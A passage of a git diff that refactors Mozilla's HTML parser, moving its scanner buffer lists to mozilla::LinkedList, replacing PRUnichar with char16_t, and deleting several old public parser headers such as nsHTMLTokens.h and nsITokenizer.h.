- PR_APPEND_LINK(buf, &mBuffers);
+ mBuffers.insertBack(buf);
}
void AddRef() { ++mRefCnt; }
void Release() { if (--mRefCnt == 0) delete this; }
- void Append( Buffer* buf ) { PR_APPEND_LINK(buf, &mBuffers); }
- void InsertAfter( Buffer* buf, Buffer* prev ) { PR_INSERT_AFTER(buf, prev); }
+ void Append( Buffer* buf ) { mBuffers.insertBack(buf); }
+ void InsertAfter( Buffer* buf, Buffer* prev ) { prev->setNext(buf); }
void SplitBuffer( const Position& );
void DiscardUnreferencedPrefix( Buffer* );
- Buffer* Head() { return static_cast<Buffer*>(PR_LIST_HEAD(&mBuffers)); }
- const Buffer* Head() const { return static_cast<const Buffer*>(PR_LIST_HEAD(&mBuffers)); }
+ Buffer* Head() { return mBuffers.getFirst(); }
+ const Buffer* Head() const { return mBuffers.getFirst(); }
- Buffer* Tail() { return static_cast<Buffer*>(PR_LIST_TAIL(&mBuffers)); }
- const Buffer* Tail() const { return static_cast<const Buffer*>(PR_LIST_TAIL(&mBuffers)); }
+ Buffer* Tail() { return mBuffers.getLast(); }
+ const Buffer* Tail() const { return mBuffers.getLast(); }
private:
@@ -153,7 +152,7 @@ class nsScannerBufferList
void ReleaseAll();
int32_t mRefCnt;
- PRCList mBuffers;
+ mozilla::LinkedList<Buffer> mBuffers;
};
@@ -165,8 +164,8 @@ struct nsScannerFragment
typedef nsScannerBufferList::Buffer Buffer;
const Buffer* mBuffer;
- const PRUnichar* mFragmentStart;
- const PRUnichar* mFragmentEnd;
+ const char16_t* mFragmentStart;
+ const char16_t* mFragmentEnd;
};
@@ -185,7 +184,7 @@ class nsScannerSubstring
typedef uint32_t size_type;
nsScannerSubstring();
- nsScannerSubstring( const nsAString& s );
+ explicit nsScannerSubstring( const nsAString& s );
~nsScannerSubstring();
@@ -194,7 +193,7 @@ class nsScannerSubstring
size_type Length() const { return mLength; }
- int32_t CountChar( PRUnichar ) const;
+ int32_t CountChar( char16_t ) const;
void Rebind( const nsScannerSubstring&, const nsScannerIterator&, const nsScannerIterator& );
void Rebind( const nsAString& );
@@ -256,7 +255,7 @@ class nsScannerString : public nsScannerSubstring
{
public:
- nsScannerString( Buffer* );
+ explicit nsScannerString( Buffer* );
// you are giving ownership to the string, it takes and keeps your
// buffer, deleting it when done.
@@ -268,7 +267,7 @@ class nsScannerString : public nsScannerSubstring
// any other way you want to do this?
void UngetReadable(const nsAString& aReadable, const nsScannerIterator& aCurrentPosition);
- void ReplaceCharacter(nsScannerIterator& aPosition, PRUnichar aChar);
+ void ReplaceCharacter(nsScannerIterator& aPosition, char16_t aChar);
};
@@ -292,7 +291,7 @@ class nsScannerSharedSubstring
}
// Acquire a copy-on-write reference to the given substring.
- NS_HIDDEN_(void) Rebind(const nsScannerIterator& aStart,
+ void Rebind(const nsScannerIterator& aStart,
const nsScannerIterator& aEnd);
// Get a mutable reference to this string
@@ -310,8 +309,8 @@ class nsScannerSharedSubstring
private:
typedef nsScannerBufferList::Buffer Buffer;
- NS_HIDDEN_(void) ReleaseBuffer();
- NS_HIDDEN_(void) MakeMutable();
+ void ReleaseBuffer();
+ void MakeMutable();
nsDependentSubstring mString;
Buffer *mBuffer;
@@ -327,15 +326,15 @@ class nsScannerIterator
public:
typedef nsScannerIterator self_type;
typedef ptrdiff_t difference_type;
- typedef PRUnichar value_type;
- typedef const PRUnichar* pointer;
- typedef const PRUnichar& reference;
+ typedef char16_t value_type;
+ typedef const char16_t* pointer;
+ typedef const char16_t& reference;
typedef nsScannerSubstring::Buffer Buffer;
protected:
nsScannerFragment mFragment;
- const PRUnichar* mPosition;
+ const char16_t* mPosition;
const nsScannerSubstring* mOwner;
friend class nsScannerSubstring;
@@ -354,7 +353,7 @@ class nsScannerIterator
return mPosition;
}
- PRUnichar operator*() const
+ char16_t operator*() const
{
return *get();
}
@@ -517,7 +516,7 @@ operator!=( const nsScannerIterator& lhs, const nsScannerIterator& rhs )
inline
nsScannerBufferList::Position::Position(const nsScannerIterator& aIter)
: mBuffer(const_cast<Buffer*>(aIter.buffer()))
- , mPosition(const_cast<PRUnichar*>(aIter.get()))
+ , mPosition(const_cast<char16_t*>(aIter.get()))
{}
inline
@@ -525,7 +524,7 @@ nsScannerBufferList::Position&
nsScannerBufferList::Position::operator=(const nsScannerIterator& aIter)
{
mBuffer = const_cast<Buffer*>(aIter.buffer());
- mPosition = const_cast<PRUnichar*>(aIter.get());
+ mPosition = const_cast<char16_t*>(aIter.get());
return *this;
}
@@ -545,39 +544,39 @@ Distance( const nsScannerIterator& aStart, const nsScannerIterator& aEnd )
return Position::Distance(Position(aStart), Position(aEnd));
}
-void
+bool
CopyUnicodeTo( const nsScannerIterator& aSrcStart,
const nsScannerIterator& aSrcEnd,
nsAString& aDest );
inline
-void
+bool
CopyUnicodeTo( const nsScannerSubstring& aSrc, nsAString& aDest )
{
nsScannerIterator begin, end;
- CopyUnicodeTo(aSrc.BeginReading(begin), aSrc.EndReading(end), aDest);
+ return CopyUnicodeTo(aSrc.BeginReading(begin), aSrc.EndReading(end), aDest);
}
-void
+bool
AppendUnicodeTo( const nsScannerIterator& aSrcStart,
const nsScannerIterator& aSrcEnd,
nsAString& aDest );
inline
-void
+bool
AppendUnicodeTo( const nsScannerSubstring& aSrc, nsAString& aDest )
{
nsScannerIterator begin, end;
- AppendUnicodeTo(aSrc.BeginReading(begin), aSrc.EndReading(end), aDest);
+ return AppendUnicodeTo(aSrc.BeginReading(begin), aSrc.EndReading(end), aDest);
}
-void
+bool
AppendUnicodeTo( const nsScannerIterator& aSrcStart,
const nsScannerIterator& aSrcEnd,
nsScannerSharedSubstring& aDest );
bool
-FindCharInReadable( PRUnichar aChar,
+FindCharInReadable( char16_t aChar,
nsScannerIterator& aStart,
const nsScannerIterator& aEnd );
diff --git a/parser/htmlparser/nsToken.h b/parser/htmlparser/nsToken.h
new file mode 100644
index 000000000..6221aca57
--- /dev/null
+++ b/parser/htmlparser/nsToken.h
@@ -0,0 +1,19 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+#ifndef CTOKEN__
+#define CTOKEN__
+
+enum eHTMLTokenTypes {
+ eToken_unknown=0,
+ eToken_start=1, eToken_end, eToken_comment, eToken_entity,
+ eToken_whitespace, eToken_newline, eToken_text, eToken_attribute,
+ eToken_instruction, eToken_cdatasection, eToken_doctypeDecl, eToken_markupDecl,
+ eToken_last //make sure this stays the last token...
+};
+
+#endif
+
+
diff --git a/parser/htmlparser/public/moz.build b/parser/htmlparser/public/moz.build
deleted file mode 100644
index 0aff7b627..000000000
--- a/parser/htmlparser/public/moz.build
+++ /dev/null
@@ -1,33 +0,0 @@
-# -*- Mode: python; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 40 -*-
-# vim: set filetype=python:
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-XPIDL_SOURCES += [
- 'nsIExpatSink.idl',
- 'nsIExtendedExpatSink.idl',
-]
-
-MODULE = 'htmlparser'
-
-EXPORTS += [
- 'nsHTMLTagList.h',
- 'nsHTMLTags.h',
- 'nsHTMLTokens.h',
- 'nsIContentSink.h',
- 'nsIDTD.h',
- 'nsIElementObserver.h',
- 'nsIFragmentContentSink.h',
- 'nsIHTMLContentSink.h',
- 'nsIParser.h',
- 'nsIParserNode.h',
- 'nsIParserService.h',
- 'nsITokenizer.h',
- 'nsParserBase.h',
- 'nsParserCIID.h',
- 'nsParserConstants.h',
- 'nsScannerString.h',
- 'nsToken.h',
-]
-
diff --git a/parser/htmlparser/public/nsHTMLTokens.h b/parser/htmlparser/public/nsHTMLTokens.h
deleted file mode 100644
index 6363e654b..000000000
--- a/parser/htmlparser/public/nsHTMLTokens.h
+++ /dev/null
@@ -1,376 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-/**
- * MODULE NOTES:
- * @update gess 4/1/98
- *
- * This file contains the declarations for all the HTML specific token types that
- * our DTD's understand. In fact, the same set of token types are used for XML.
- * Currently we have tokens for text, comments, start and end tags, entities,
- * attributes, style, script and skipped content. Whitespace and newlines also
- * have their own token types, but don't count on them to stay forever.
- *
- * If you're looking for the html tags, they're in a file called nsHTMLTag.h/cpp.
- *
- * Most of the token types have a similar API. They have methods to get the type
- * of token (GetTokenType); those that represent HTML tags also have a method to
- * get type tag type (GetTypeID). In addition, most have a method that causes the
- * token to help in the parsing process called (Consume). We've also thrown in a
- * few standard debugging methods as well.
- */
-
-#ifndef HTMLTOKENS_H
-#define HTMLTOKENS_H
-
-#include "nsToken.h"
-#include "nsHTMLTags.h"
-#include "nsString.h"
-#include "nsScannerString.h"
-
-class nsScanner;
-
- /*******************************************************************
- * This enum defines the set of token types that we currently support.
- *******************************************************************/
-
-enum eHTMLTokenTypes {
- eToken_unknown=0,
- eToken_start=1, eToken_end, eToken_comment, eToken_entity,
- eToken_whitespace, eToken_newline, eToken_text, eToken_attribute,
- eToken_instruction, eToken_cdatasection, eToken_doctypeDecl, eToken_markupDecl,
- eToken_last //make sure this stays the last token...
-};
-
-nsresult ConsumeQuotedString(PRUnichar aChar,nsString& aString,nsScanner& aScanner);
-nsresult ConsumeAttributeText(PRUnichar aChar,nsString& aString,nsScanner& aScanner);
-const PRUnichar* GetTagName(int32_t aTag);
-//int32_t FindEntityIndex(nsString& aString,int32_t aCount=-1);
-
-
-
-/**
- * This declares the basic token type used in the HTML DTD's.
- * @update gess 3/25/98
- */
-class CHTMLToken : public CToken {
-public:
- virtual ~CHTMLToken();
- CHTMLToken(eHTMLTags aTag);
-
- virtual eContainerInfo GetContainerInfo(void) const {return eFormUnknown;}
- virtual void SetContainerInfo(eContainerInfo aInfo) { }
-
-protected:
-};
-
-/**
- * This declares start tokens, which always take the form <xxxx>.
- * This class also knows how to consume related attributes.
- *
- * @update gess 3/25/98
- */
-class CStartToken: public CHTMLToken {
-public:
- CStartToken(eHTMLTags aTag=eHTMLTag_unknown);
- CStartToken(const nsAString& aString);
- CStartToken(const nsAString& aName,eHTMLTags aTag);
-
- virtual nsresult Consume(PRUnichar aChar,nsScanner& aScanner,int32_t aMode);
- virtual int32_t GetTypeID(void);
- virtual int32_t GetTokenType(void);
-
- virtual bool IsEmpty(void);
- virtual void SetEmpty(bool aValue);
-
- virtual const nsSubstring& GetStringValue();
- virtual void GetSource(nsString& anOutputString);
- virtual void AppendSourceTo(nsAString& anOutputString);
-
- // the following info is used to set well-formedness state on start tags...
- virtual eContainerInfo GetContainerInfo(void) const {return mContainerInfo;}
- virtual void SetContainerInfo(eContainerInfo aContainerInfo) {
- if (eFormUnknown==mContainerInfo) {
- mContainerInfo=aContainerInfo;
- }
- }
- virtual bool IsWellFormed(void) const {
- return eWellFormed == mContainerInfo;
- }
-
- nsString mTextValue;
-protected:
- eContainerInfo mContainerInfo;
- bool mEmpty;
-#ifdef DEBUG
- bool mAttributed;
-#endif
-};
-
-
-/**
- * This declares end tokens, which always take the
- * form </xxxx>. This class also knows how to consume
- * related attributes.
- *
- * @update gess 3/25/98
- */
-class CEndToken: public CHTMLToken {
-public:
- CEndToken(eHTMLTags aTag);
- CEndToken(const nsAString& aString);
- CEndToken(const nsAString& aName,eHTMLTags aTag);
- virtual nsresult Consume(PRUnichar aChar,nsScanner& aScanner,int32_t aMode);
- virtual int32_t GetTypeID(void);
- virtual int32_t GetTokenType(void);
-
- virtual const nsSubstring& GetStringValue();
- virtual void GetSource(nsString& anOutputString);
- virtual void AppendSourceTo(nsAString& anOutputString);
-
-protected:
- nsString mTextValue;
-};
-
-
-/**
- * This declares comment tokens. Comments are usually
- * thought of as tokens, but we treat them that way
- * here so that the parser can have a consistent view
- * of all tokens.
- *
- * @update gess 3/25/98
- */
-class CCommentToken: public CHTMLToken {
-public:
- CCommentToken();
- CCommentToken(const nsAString& aString);
- virtual nsresult Consume(PRUnichar aChar,nsScanner& aScanner,int32_t aMode);
- virtual int32_t GetTokenType(void);
- virtual const nsSubstring& GetStringValue(void);
- virtual void AppendSourceTo(nsAString& anOutputString);
-
- nsresult ConsumeStrictComment(nsScanner& aScanner);
- nsresult ConsumeQuirksComment(nsScanner& aScanner);
-
-protected:
- nsScannerSubstring mComment; // does not include MDO & MDC
- nsScannerSubstring mCommentDecl; // includes MDO & MDC
-};
-
-
-/**
- * This class declares entity tokens, which always take
- * the form &xxxx;. This class also offers a few utility
- * methods that allow you to easily reduce entities.
- *
- * @update gess 3/25/98
- */
-class CEntityToken : public CHTMLToken {
-public:
- CEntityToken();
- CEntityToken(const nsAString& aString);
- virtual int32_t GetTokenType(void);
- int32_t TranslateToUnicodeStr(nsString& aString);
- virtual nsresult Consume(PRUnichar aChar,nsScanner& aScanner,int32_t aMode);
- static nsresult ConsumeEntity(PRUnichar aChar, nsString& aString,
- nsScanner& aScanner);
- static int32_t TranslateToUnicodeStr(int32_t aValue,nsString& aString);
-
- virtual const nsSubstring& GetStringValue(void);
- virtual void GetSource(nsString& anOutputString);
- virtual void AppendSourceTo(nsAString& anOutputString);
-
-protected:
- nsString mTextValue;
-};
-
-
-/**
- * Whitespace tokens are used where whitespace can be
- * detected as distinct from text. This allows us to
- * easily skip leading/trailing whitespace when desired.
- *
- * @update gess 3/25/98
- */
-class CWhitespaceToken: public CHTMLToken {
-public:
- CWhitespaceToken();
- CWhitespaceToken(const nsAString& aString);
- virtual nsresult Consume(PRUnichar aChar,nsScanner& aScanner,int32_t aMode);
- virtual int32_t GetTokenType(void);
- virtual const nsSubstring& GetStringValue(void);
-
-protected:
- nsScannerSharedSubstring mTextValue;
-};
-
-/**
- * Text tokens contain the normalized form of html text.
- * These tokens are guaranteed not to contain entities,
- * start or end tags, or newlines.
- *
- * @update gess 3/25/98
- */
-class CTextToken: public CHTMLToken {
-public:
- CTextToken();
- CTextToken(const nsAString& aString);
- virtual nsresult Consume(PRUnichar aChar,nsScanner& aScanner,int32_t aMode);
- virtual int32_t GetTokenType(void);
- virtual int32_t GetTextLength(void);
- virtual void CopyTo(nsAString& aStr);
- virtual const nsSubstring& GetStringValue(void);
- virtual void Bind(nsScanner* aScanner, nsScannerIterator& aStart,
- nsScannerIterator& aEnd);
- virtual void Bind(const nsAString& aStr);
-
- nsresult ConsumeCharacterData(bool aIgnoreComments,
- nsScanner& aScanner,
- const nsAString& aEndTagName,
- int32_t aFlag,
- bool& aFlushTokens);
-
- nsresult ConsumeParsedCharacterData(bool aDiscardFirstNewline,
- bool aConservativeConsume,
- nsScanner& aScanner,
- const nsAString& aEndTagName,
- int32_t aFlag,
- bool& aFound);
-
-protected:
- nsScannerSubstring mTextValue;
-};
-
-
-/**
- * CDATASection tokens contain raw unescaped text content delimited by
- * a ![CDATA[ and ]].
- * XXX Not really a HTML construct - maybe we need a separation
- *
- * @update vidur 11/12/98
- */
-class CCDATASectionToken : public CHTMLToken {
-public:
- CCDATASectionToken(eHTMLTags aTag = eHTMLTag_unknown);
- CCDATASectionToken(const nsAString& aString);
- virtual nsresult Consume(PRUnichar aChar,nsScanner& aScanner,int32_t aMode);
- virtual int32_t GetTokenType(void);
- virtual const nsSubstring& GetStringValue(void);
-
-protected:
- nsString mTextValue;
-};
-
-
-/**
- * Declaration tokens contain raw unescaped text content (not really, but
- * right now we use this only for view source).
- * XXX Not really a HTML construct - maybe we need a separation
- *
- */
-class CMarkupDeclToken : public CHTMLToken {
-public:
- CMarkupDeclToken();
- CMarkupDeclToken(const nsAString& aString);
- virtual nsresult Consume(PRUnichar aChar,nsScanner& aScanner,int32_t aMode);
- virtual int32_t GetTokenType(void);
- virtual const nsSubstring& GetStringValue(void);
-
-protected:
- nsScannerSubstring mTextValue;
-};
-
-
-/**
- * Attribute tokens are used to contain attribute key/value
- * pairs whereever they may occur. Typically, they should
- * occur only in start tokens. However, we may expand that
- * ability when XML tokens become commonplace.
- *
- * @update gess 3/25/98
- */
-class CAttributeToken: public CHTMLToken {
-public:
- CAttributeToken();
- CAttributeToken(const nsAString& aString);
- CAttributeToken(const nsAString& aKey, const nsAString& aString);
- ~CAttributeToken() {}
- virtual nsresult Consume(PRUnichar aChar,nsScanner& aScanner,int32_t aMode);
- virtual int32_t GetTokenType(void);
- const nsSubstring& GetKey(void) { return mTextKey.AsString(); }
- virtual void SetKey(const nsAString& aKey);
- virtual void BindKey(nsScanner* aScanner, nsScannerIterator& aStart,
- nsScannerIterator& aEnd);
- const nsSubstring& GetValue(void) {return mTextValue.str();}
- virtual const nsSubstring& GetStringValue(void);
- virtual void GetSource(nsString& anOutputString);
- virtual void AppendSourceTo(nsAString& anOutputString);
-
- bool mHasEqualWithoutValue;
-protected:
- nsScannerSharedSubstring mTextValue;
- nsScannerSubstring mTextKey;
-};
-
-
-/**
- * Newline tokens contain, you guessed it, newlines.
- * They consume newline (CR/LF) either alone or in pairs.
- *
- * @update gess 3/25/98
- */
-class CNewlineToken: public CHTMLToken {
-public:
- CNewlineToken();
- virtual nsresult Consume(PRUnichar aChar,nsScanner& aScanner,int32_t aMode);
- virtual int32_t GetTokenType(void);
- virtual const nsSubstring& GetStringValue(void);
-
- static void AllocNewline();
- static void FreeNewline();
-};
-
-
-/**
- * Whitespace tokens are used where whitespace can be
- * detected as distinct from text. This allows us to
- * easily skip leading/trailing whitespace when desired.
- *
- * @update gess 3/25/98
- */
-class CInstructionToken: public CHTMLToken {
-public:
- CInstructionToken();
- CInstructionToken(const nsAString& aString);
- virtual nsresult Consume(PRUnichar aChar,nsScanner& aScanner,int32_t aMode);
- virtual int32_t GetTokenType(void);
- virtual const nsSubstring& GetStringValue(void);
-
-protected:
- nsString mTextValue;
-};
-
-
-/**
- * This token is generated by the HTML and Expat tokenizers
- * when they see the doctype declaration ("<!DOCTYPE ... >")
- *
- */
-
-class CDoctypeDeclToken: public CHTMLToken {
-public:
- CDoctypeDeclToken(eHTMLTags aTag=eHTMLTag_unknown);
- CDoctypeDeclToken(const nsAString& aString,eHTMLTags aTag=eHTMLTag_unknown);
- virtual nsresult Consume(PRUnichar aChar,nsScanner& aScanner,int32_t aMode);
- virtual int32_t GetTokenType(void);
- virtual const nsSubstring& GetStringValue(void);
- virtual void SetStringValue(const nsAString& aStr);
-
-protected:
- nsString mTextValue;
-};
-
-#endif
diff --git a/parser/htmlparser/public/nsIElementObserver.h b/parser/htmlparser/public/nsIElementObserver.h
deleted file mode 100644
index 880fc2ae4..000000000
--- a/parser/htmlparser/public/nsIElementObserver.h
+++ /dev/null
@@ -1,46 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-
-/**
- * MODULE NOTES:
- * @update rickg 03.23.2000 //removed unused NS_PARSER_SUBJECT and predecl of nsString
- *
- */
-
-#ifndef nsIElementObserver_h__
-#define nsIElementObserver_h__
-
-#include "nsISupports.h"
-#include "prtypes.h"
-#include "nsHTMLTags.h"
-#include "nsTArray.h"
-
-
-// {4672AA04-F6AE-11d2-B3B7-00805F8A6670}
-#define NS_IELEMENTOBSERVER_IID \
-{ 0x4672aa04, 0xf6ae, 0x11d2, { 0xb3, 0xb7, 0x0, 0x80, 0x5f, 0x8a, 0x66, 0x70 } }
-
-
-class nsIElementObserver : public nsISupports {
-public:
- NS_DECLARE_STATIC_IID_ACCESSOR(NS_IELEMENTOBSERVER_IID)
-
- enum { IS_DOCUMENT_WRITE = 1U };
-
- /* Subject call observer when the parser hit the tag */
- NS_IMETHOD Notify(nsISupports* aDocShell,
- nsISupports* aChannel,
- const PRUnichar* aTag,
- const nsTArray<nsString>* aKeys,
- const nsTArray<nsString>* aValues,
- const uint32_t aFlags) = 0;
-
-};
-
-NS_DEFINE_STATIC_IID_ACCESSOR(nsIElementObserver, NS_IELEMENTOBSERVER_IID)
-
-#endif /* nsIElementObserver_h__ */
-
diff --git a/parser/htmlparser/public/nsIParserNode.h b/parser/htmlparser/public/nsIParserNode.h
deleted file mode 100644
index fab658253..000000000
--- a/parser/htmlparser/public/nsIParserNode.h
+++ /dev/null
@@ -1,146 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-
-/**
- * MODULE NOTES:
- * @update gess 4/1/98
- *
- * This class is defines the basic interface between the
- * parser and the content sink. The parser will iterate
- * over the collection of tokens that it sees from the
- * tokenizer, coverting each related "group" into one of
- * these. This object gets passed to the sink, and is
- * then immediately reused.
- *
- * If you want to hang onto one of these, you should
- * make your own copy.
- *
- */
-
-#ifndef NS_IPARSERNODE__
-#define NS_IPARSERNODE__
-
-#include "nsISupports.h"
-#include "nsStringGlue.h"
-#include "nsDebug.h"
-
-//#define HEAP_ALLOCATED_NODES
-//#define DEBUG_TRACK_NODES
-
-class nsIAtom;
-class CToken;
-
-// 6e59f160-2717-11d2-9246-00805f8a7ab6
-#define NS_IPARSER_NODE_IID \
- {0x6e59f160, 0x2717, 0x11d1, \
- {0x92, 0x46, 0x00, 0x80, 0x5f, 0x8a, 0x7a, 0xb6}}
-
-/**
- * Parser nodes are the unit of exchange between the
- * parser and the content sink. Nodes offer access to
- * the current token, its attributes, and its skipped-
- * content if applicable.
- *
- * @update gess 3/25/98
- */
-class nsIParserNode { // XXX Should be nsAParserNode
-
- public:
-
-
- /**
- * Retrieve the name of the node
- * @update gess5/11/98
- * @return string containing node name
- */
- virtual const nsAString& GetTagName() const = 0; //to get name of tag
-
- /**
- * Retrieve the text from the given node
- * @update gess5/11/98
- * @return string containing node text
- */
- virtual const nsAString& GetText() const = 0; //get plain text if available
-
- /**
- * Retrieve the type of the parser node.
- * @update gess5/11/98
- * @return node type.
- */
- virtual int32_t GetNodeType() const =0;
-
- /**
- * Retrieve token type of parser node
- * @update gess5/11/98
- * @return token type
- */
- virtual int32_t GetTokenType() const =0;
-
- /**
- * Retrieve the number of attributes in this node.
- * @update gess5/11/98
- * @return count of attributes (may be 0)
- */
- virtual int32_t GetAttributeCount(bool askToken=false) const =0;
-
- /**
- * Retrieve the key (of key/value pair) at given index
- * @update gess5/11/98
- * @param anIndex is the index of the key you want
- * @return string containing key.
- */
- virtual const nsAString& GetKeyAt(uint32_t anIndex) const = 0;
-
- /**
- * Retrieve the value (of key/value pair) at given index
- * @update gess5/11/98
- * @param anIndex is the index of the value you want
- * @return string containing value.
- */
- virtual const nsAString& GetValueAt(uint32_t anIndex) const = 0;
-
- /**
- * NOTE: When the node is an entity, this will translate the entity
- * to it's unicode value, and store it in aString.
- * @update gess5/11/98
- * @param aString will contain the resulting unicode string value
- * @return int (unicode char or unicode index from table)
- */
- virtual int32_t TranslateToUnicodeStr(nsString& aString) const = 0;
-
-
- virtual void AddAttribute(CToken* aToken)=0;
-
- /**
- * This getter retrieves the line number from the input source where
- * the token occurred. Lines are interpreted as occurring between \n characters.
- * @update gess7/24/98
- * @return int containing the line number the token was found on
- */
- virtual int32_t GetSourceLineNumber(void) const =0;
-
- /**
- * This pair of methods allows us to set a generic bit (for arbitrary use)
- * on each node stored in the context.
- * @update gess 11May2000
- */
- virtual bool GetGenericState(void) const =0;
- virtual void SetGenericState(bool aState) =0;
-
- /** Retrieve a string containing the tag and its attributes in "source" form
- * @update rickg 06June2000
- * @return void
- */
- virtual void GetSource(nsString& aString) const = 0;
-
- /** Release all the objects you're holding
- * @update harishd 08/02/00
- * @return void
- */
- virtual nsresult ReleaseAll()=0;
-};
-
-#endif
diff --git a/parser/htmlparser/public/nsITokenizer.h b/parser/htmlparser/public/nsITokenizer.h
deleted file mode 100644
index f90e61631..000000000
--- a/parser/htmlparser/public/nsITokenizer.h
+++ /dev/null
@@ -1,69 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-
-/**
- * MODULE NOTES:
- * @update gess 4/1/98
- *
- */
-
-#ifndef __NSITOKENIZER__
-#define __NSITOKENIZER__
-
-#include "nsISupports.h"
-
-class CToken;
-class nsScanner;
-class nsDeque;
-class nsTokenAllocator;
-
-#define NS_ITOKENIZER_IID \
- {0xe4238ddc, 0x9eb6, 0x11d2, {0xba, 0xa5, 0x0, 0x10, 0x4b, 0x98, 0x3f, 0xd4 }}
-
-
-/***************************************************************
- Notes:
- ***************************************************************/
-
-
-class nsITokenizer : public nsISupports {
-public:
- NS_DECLARE_STATIC_IID_ACCESSOR(NS_ITOKENIZER_IID)
-
- NS_IMETHOD WillTokenize(bool aIsFinalChunk,nsTokenAllocator* aTokenAllocator)=0;
- NS_IMETHOD ConsumeToken(nsScanner& aScanner,bool& aFlushTokens)=0;
- NS_IMETHOD DidTokenize(bool aIsFinalChunk)=0;
-
- NS_IMETHOD_(CToken*) PushTokenFront(CToken* aToken)=0;
- NS_IMETHOD_(CToken*) PushToken(CToken* aToken)=0;
- NS_IMETHOD_(CToken*) PopToken(void)=0;
- NS_IMETHOD_(CToken*) PeekToken(void)=0;
- NS_IMETHOD_(CToken*) GetTokenAt(int32_t anIndex)=0;
- NS_IMETHOD_(int32_t) GetCount(void)=0;
- NS_IMETHOD_(nsTokenAllocator*) GetTokenAllocator(void)=0;
- NS_IMETHOD_(void) PrependTokens(nsDeque& aDeque)=0;
- NS_IMETHOD CopyState(nsITokenizer* aTokenizer)=0;
-
-};
-
-NS_DEFINE_STATIC_IID_ACCESSOR(nsITokenizer, NS_ITOKENIZER_IID)
-
-#define NS_DECL_NSITOKENIZER \
- NS_IMETHOD WillTokenize(bool aIsFinalChunk,nsTokenAllocator* aTokenAllocator);\
- NS_IMETHOD ConsumeToken(nsScanner& aScanner,bool& aFlushTokens);\
- NS_IMETHOD DidTokenize(bool aIsFinalChunk);\
- NS_IMETHOD_(CToken*) PushTokenFront(CToken* aToken);\
- NS_IMETHOD_(CToken*) PushToken(CToken* aToken);\
- NS_IMETHOD_(CToken*) PopToken(void);\
- NS_IMETHOD_(CToken*) PeekToken(void);\
- NS_IMETHOD_(CToken*) GetTokenAt(int32_t anIndex);\
- NS_IMETHOD_(int32_t) GetCount(void);\
- NS_IMETHOD_(nsTokenAllocator*) GetTokenAllocator(void);\
- NS_IMETHOD_(void) PrependTokens(nsDeque& aDeque);\
- NS_IMETHOD CopyState(nsITokenizer* aTokenizer);
-
-
-#endif
diff --git a/parser/htmlparser/public/nsParserConstants.h b/parser/htmlparser/public/nsParserConstants.h
deleted file mode 100644
index bbc250597..000000000
--- a/parser/htmlparser/public/nsParserConstants.h
+++ /dev/null
@@ -1,39 +0,0 @@
-/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
-/* vim: set ts=2 sw=2 et tw=78: */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-#ifndef nsParserConstants_h_
-#define nsParserConstants_h_
-const PRUnichar kNewLine = '\n';
-const PRUnichar kCR = '\r';
-const PRUnichar kLF = '\n';
-const PRUnichar kTab = '\t';
-const PRUnichar kSpace = ' ';
-const PRUnichar kQuote = '"';
-const PRUnichar kApostrophe = '\'';
-const PRUnichar kLessThan = '<';
-const PRUnichar kGreaterThan = '>';
-const PRUnichar kAmpersand = '&';
-const PRUnichar kForwardSlash = '/';
-const PRUnichar kBackSlash = '\\';
-const PRUnichar kEqual = '=';
-const PRUnichar kMinus = '-';
-const PRUnichar kPlus = '+';
-const PRUnichar kExclamation = '!';
-const PRUnichar kSemicolon = ';';
-const PRUnichar kHashsign = '#';
-const PRUnichar kAsterisk = '*';
-const PRUnichar kUnderbar = '_';
-const PRUnichar kComma = ',';
-const PRUnichar kLeftParen = '(';
-const PRUnichar kRightParen = ')';
-const PRUnichar kLeftBrace = '{';
-const PRUnichar kRightBrace = '}';
-const PRUnichar kQuestionMark = '?';
-const PRUnichar kLeftSquareBracket = '[';
-const PRUnichar kRightSquareBracket = ']';
-const PRUnichar kNullCh = '\0';
-
-#endif // nsParserConstants_h_
diff --git a/parser/htmlparser/public/nsToken.h b/parser/htmlparser/public/nsToken.h
deleted file mode 100644
index d616ded51..000000000
--- a/parser/htmlparser/public/nsToken.h
+++ /dev/null
@@ -1,263 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-
-/**
- * MODULE NOTES:
- * @update gess 4/1/98
- *
- * This class is defines the basic notion of a token
- * within our system. All other tokens are derived from
- * this one. It offers a few basic interfaces, but the
- * most important is consume(). The consume() method gets
- * called during the tokenization process when an instance
- * of that particular token type gets detected in the
- * input stream.
- *
- * CToken objects that are allocated from the heap are allocated
